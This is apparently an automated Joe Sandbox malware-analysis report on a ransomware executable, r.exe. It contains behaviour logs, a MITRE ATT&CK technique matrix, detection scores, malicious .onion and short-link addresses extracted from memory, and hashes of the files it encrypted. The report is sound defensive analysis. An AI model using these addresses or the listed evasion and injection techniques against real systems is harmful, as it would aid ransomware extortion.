                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\Data1.cab VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901220034.msp VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\Data1.cab VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901220034.msp VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\Data1.cab VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901220034.msp VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00402A80 cpuid 1_2_00402A80
                      Source: C:\Users\user\Desktop\r.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00407F59 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,1_2_00407F59

                      Mitre Att&ck Matrix

                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      1
                      Replication Through Removable Media                      		Windows Management InstrumentationPath Interception212
                      Process Injection                      		11
                      Masquerading                      		1
                      Input Capture                      		1
                      System Time Discovery                      		1
                      Taint Shared Content                      		1
                      Input Capture                      		Exfiltration Over Other Network Medium2
                      Encrypted Channel                      		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
                      Data Encrypted for Impact
                      Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
                      Disable or Modify Tools                      		LSASS Memory131
                      Security Software Discovery                      		1
                      Replication Through Removable Media                      		1
                      Archive Collected Data                      		Exfiltration Over Bluetooth1
                      Proxy                      		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)21
                      Virtualization/Sandbox Evasion                      		Security Account Manager2
                      Process Discovery                      		SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)212
                      Process Injection                      		NTDS21
                      Virtualization/Sandbox Evasion                      		Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
                      Hidden Files and Directories                      		LSA Secrets11
                      Peripheral Device Discovery                      		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.common2
                      Obfuscated Files or Information                      		Cached Domain Credentials4
                      File and Directory Discovery                      		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                      External Remote ServicesScheduled TaskStartup ItemsStartup Items2
                      Software Packing                      		DCSync23
                      System Information Discovery                      		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      r.exe26%ReversingLabsByteCode-MSIL.Ransomware.W3CryptoLocker
                      r.exe35%VirustotalBrowse
                      r.exe100%Joe Sandbox ML

                      Dropped Files

                      ⊘No Antivirus matches

                      Unpacked PE Files

                      ⊘No Antivirus matches

                      Domains

                      ⊘No Antivirus matches

                      URLs

                      SourceDetectionScannerLabelLink
                      http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                      http://ocsp.thawte.com00%URL Reputationsafe
                      http://www.sajatypeworks.compew0%URL Reputationsafe
                      http://www.sajatypeworks.compew0%URL Reputationsafe
                      http://www.tiro.com0%URL Reputationsafe
                      http://www.tiro.com0%URL Reputationsafe
                      http://www.carterandcone.comt0%URL Reputationsafe
                      http://www.goodfont.co.kr0%URL Reputationsafe
                      http://www.carterandcone.com0%URL Reputationsafe
                      http://www.carterandcone.coml0%URL Reputationsafe
                      http://www.sajatypeworks.com0%URL Reputationsafe
                      http://www.founder.com.cn/cn/0%URL Reputationsafe
                      http://www.founder.com.cn/cnht0%URL Reputationsafe
                      http://www.typography.netD0%URL Reputationsafe
                      http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                      http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                      http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                      http://fontfabrik.com0%URL Reputationsafe
                      http://www.founder.com.cn/cn0%URL Reputationsafe
                      http://www.fontbureau.comm0%URL Reputationsafe
                      http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
                      http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
                      http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
                      http://www.carterandcone.comitk0%URL Reputationsafe
                      http://www.ascendercorp.com/typedesigners.html0%URL Reputationsafe
                      http://www.sandoll.co.kr0%URL Reputationsafe
                      http://www.urwpp.deDPlease0%URL Reputationsafe
                      http://www.zhongyicts.com.cn0%URL Reputationsafe
                      http://www.sakkal.com0%URL Reputationsafe
                      http://www.pelephone.co.il0%Avira URL Cloudsafe
                      http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL100%Avira URL Cloudmalware
                      http://www.carterandcone.comcrac0%Avira URL Cloudsafe
                      http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01%s100%Avira URL Cloudmalware
                      http://www.pelephone.co.il0%VirustotalBrowse

                      Domains and IPs

                      Contacted Domains

                      ⊘No contacted domains info

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://www.apache.org/licenses/LICENSE-2.0r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        http://www.fontbureau.comr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://www.fontbureau.com/designersGr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://www.fontbureau.com/designers/?r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://www.founder.com.cn/cn/bTher.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.fontbureau.com/designersJr.exe, 00000000.00000003.371551916.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371505733.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371764316.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371726145.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371680077.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371632380.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371587393.00000000060F5000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://www.symauth.com/cps09Data1.cab.1.drfalse
                                  		high
                                  http://www.fontbureau.com/designers?r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://ocsp.thawte.com0Data1.cab.1.drfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.pelephone.co.ilAddInProcess32.exe, 00000001.00000003.578781552.000000000432A000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • 0%, Virustotal, Browse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.sajatypeworks.compewr.exe, 00000000.00000003.367612175.00000000060FB000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    		unknown
                                    https://yip.su/2QstD5AddInProcess32.exe, AddInProcess32.exe, 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.tiro.comr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.fontbureau.com/designersr.exe, 00000000.00000003.371867796.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371587393.00000000060F5000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://www.torproject.org/r.exe, 00000000.00000002.487039298.00000000043D0000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000002.478036079.000000000368A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, AddInProcess32.exe, 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                                          		high
                                          http://www.carterandcone.comtr.exe, 00000000.00000003.369110533.0000000006114000.00000004.00000020.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.goodfont.co.krr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.carterandcone.comr.exe, 00000000.00000003.369072379.0000000006110000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369088713.00000000060EC000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369110533.0000000006114000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369072379.0000000006114000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369110533.0000000006111000.00000004.00000020.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.symauth.com/cps0(Data1.cab.1.drfalse
                                            		high
                                            http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOLAddInProcess32.exe, AddInProcess32.exe, 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://www.carterandcone.comlr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.sajatypeworks.comr.exe, 00000000.00000003.367601951.00000000060FB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.367582006.00000000060FB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000003.367593148.00000000060FB000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.founder.com.cn/cn/r.exe, 00000000.00000003.368899264.00000000060F2000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.368851975.00000000060ED000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.founder.com.cn/cnhtr.exe, 00000000.00000003.368717384.00000000060F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.typography.netDr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.fontbureau.com/designers/cabarga.htmlNr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.founder.com.cn/cn/cTher.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.galapagosdesign.com/staff/dennis.htmr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              		unknown
                                              http://fontfabrik.comr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.founder.com.cn/cnr.exe, 00000000.00000003.368717384.00000000060F0000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.fontbureau.com/designers/frere-jones.htmlr.exe, 00000000.00000003.371197049.00000000060EC000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000003.371197049.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371216166.00000000060F5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                http://crl.thawte.com/ThawteTimestampingCA.crl0Data1.cab.1.drfalse
                                                  		high
                                                  http://www.fontbureau.commr.exe, 00000000.00000003.474341111.00000000060E0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.jiyu-kobo.co.jp/r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.galapagosdesign.com/DPleaser.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.fontbureau.com/designers8r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.carterandcone.comcracr.exe, 00000000.00000003.370012375.00000000060EB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369726793.00000000060EB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.370089003.00000000060EB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369858585.00000000060E7000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.370118094.00000000060EB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369585883.00000000060E4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.carterandcone.comitkr.exe, 00000000.00000003.369088713.00000000060EC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    http://www.ascendercorp.com/typedesigners.htmlr.exe, 00000000.00000003.370103256.00000000060ED000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.370089003.00000000060EB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    http://www.fonts.comr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000002.477314694.00000000015B7000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.sandoll.co.krr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      http://www.symauth.com/rpa04Data1.cab.1.drfalse
                                                        		high
                                                        http://www.urwpp.deDPleaser.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.zhongyicts.com.cnr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.sakkal.comr.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01%sr.exe, 00000000.00000002.487039298.00000000043D0000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000002.478036079.000000000368A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, AddInProcess32.exe, 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmptrue
                                                        • Avira URL Cloud: malware
                                                        		unknown

                                                        World Map of Contacted IPs

                                                        ⊘No contacted IP infos

                                                        General Information

                                                        Joe Sandbox Version:38.0.0 Beryl
                                                        Analysis ID:1283552
                                                        Start date and time:2023-08-01 08:38:06 +02:00
                                                        Joe Sandbox Product:CloudBasic
                                                        Overall analysis duration:0h 9m 58s
                                                        Hypervisor based Inspection enabled:false
                                                        Report type:full
                                                        Cookbook file name:default.jbs
                                                        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                        Number of analysed new started processes analysed:6
                                                        Number of new started drivers analysed:0
                                                        Number of existing processes analysed:0
                                                        Number of existing drivers analysed:0
                                                        Number of injected processes analysed:0
                                                        Technologies:
                                                        • HCA enabled
                                                        • EGA enabled
                                                        • HDC enabled
                                                        • AMSI enabled
                                                        Analysis Mode:default
                                                        Analysis stop reason:Timeout
                                                        Sample file name:r.exe
                                                        Detection:MAL
                                                        Classification:mal100.rans.spre.evad.winEXE@3/40@0/0
                                                        EGA Information:
                                                        • Successful, ratio: 100%
                                                        HDC Information:
                                                        • Successful, ratio: 94.9% (good quality ratio 87%)
                                                        • Quality average: 78.3%
                                                        • Quality standard deviation: 31%
                                                        HCA Information:
                                                        • Successful, ratio: 99%
                                                        • Number of executed functions: 104
                                                        • Number of non-executed functions: 35
                                                        Cookbook Comments:
                                                        • Found application associated with file extension: .exe

                                                        Warnings

                                                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe
                                                        • Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
                                                        • Not all processes where analyzed, report is missing behavior information
                                                        • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                        • Report size getting too big, too many NtCreateFile calls found.
                                                        • Report size getting too big, too many NtOpenFile calls found.
                                                        • Report size getting too big, too many NtReadFile calls found.
                                                        • Report size getting too big, too many NtSetInformationFile calls found.
                                                        • Report size getting too big, too many NtWriteFile calls found.

                                                        Simulations

                                                        Behavior and APIs

                                                        ⊘No simulations

                                                        Joe Sandbox View / Context

                                                        IPs

                                                        ⊘No context

                                                        Domains

                                                        ⊘No context

                                                        ASNs

                                                        ⊘No context

                                                        JA3 Fingerprints

                                                        ⊘No context

                                                        Dropped Files

                                                        ⊘No context

                                                        Created / dropped Files

                                                        C:\Documents and Settings\All Users\Adobe\ARM\S\436\AdobeARM.msi.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):991313
                                                        Entropy (8bit):7.9990201246328825
                                                        Encrypted:true
                                                        SSDEEP:24576:TbliH9GtddGSg1rCADtop3wSzuARoz0AhK7+xyL6A2oY0Ew:3ly4GtoUopZzBoAgxyL6AAw
                                                        MD5:456DB6602FF4BD9624DE947D045C6E9F
                                                        SHA1:9794BD59CBC5DF9870E19B018E7D364ECC3776A1
                                                        SHA-256:647650D503B8C27CDBF334F77CD40DC4048155B07788EE0C9C70D9BC02F39351
                                                        SHA-512:EAA3E240E0CE95CAA4EE52179C905445A60968CC440254369FFFD968D8E3724A4BE24B077AC1C688B3640A904A2673987D846EA428393B768ED1BBB0AB048920
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:.j&.N.9Hnl.zV....F....?.....B..f.r.......=..x..Z./.?....la..........b"...zpx...`V..9#=...=.+...|.....XUx|...b....P..v..w... tn`x..>....F..^..?f.8I....i.yFz....=....f...;J<.`.j..H.]}s.U"(.V^T......{.z..g....W.%4y.d....,fe......5..|,.....vT$.:.iv...l....=5~v....P>l75...4{....4..XU....p...5.s.]......h.........({t{....v7.z.9{8.OE..1...s.'l...c$6|.|.O}...=%....C.@/.i.8..z.x.."1_.k.I2>...#....R.w.).n.`Z..p=..P.:.^8...F.6D....&.,).`,(...Z.....kEQ.......l..x.W'.J.H..A.$n9..pO.~....).......@.*3.X>WN%.|4..y..b.i%.\$.3.........N....@pb....q..-..Z..o...V.......{|..I=BYG.#C...EL..EV{k....&2./v.|/.E...y.n!...&..7.Cu......2..q.a.=...B....-K...h.uP0Ipi..I.....E.B.R..B.....9..~.P...P...s.l..%...n.T....7.r.*_y.....:.~=#.rJ%D..x....k(....o.]..04E1.gJ......&)..CB.q....VIG..-Y..@q....:.mb......?-._..r..0.&..6.....E..U..XU.w..#p.C..."'...qt.Ge..%U5.m2.Wh......w$ka.. i.).V:Sk.{..2'.w...H.?...'.~Gf...2.B.v-uSJ....?.I.<..i.\.H.6F.%...... ..!.G'.^X#...s...d.AJ....

                                                        C:\Documents and Settings\All Users\Adobe\ARM\S\436\AdobeARMHelper.exe.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):423545
                                                        Entropy (8bit):7.99959241384105
                                                        Encrypted:true
                                                        SSDEEP:12288:4b/ig9bd6EitBPHTJ7/djfO2m45uUV/6so:4bvtdirt7/dC2qmZo
                                                        MD5:15E3D7C8EE0F6C0CADDE1AE1BD165FA8
                                                        SHA1:3E067831AA6555144AB10556BC79657112F7345E
                                                        SHA-256:B09634574B49F9F2DD83B62C35EBC3E6AD08232B607CAC1891B0581B1EFFBC5A
                                                        SHA-512:01927CF86D83D03AD2036BAEDEA12F2A8EFB8A302375C2CA0CD17815A0373F66AB7C96DB8EF5447FFBDADA018E8ADCF0C9927E583EB670265AD67F4EB27E633C
                                                        Malicious:true
                                                        Reputation:low
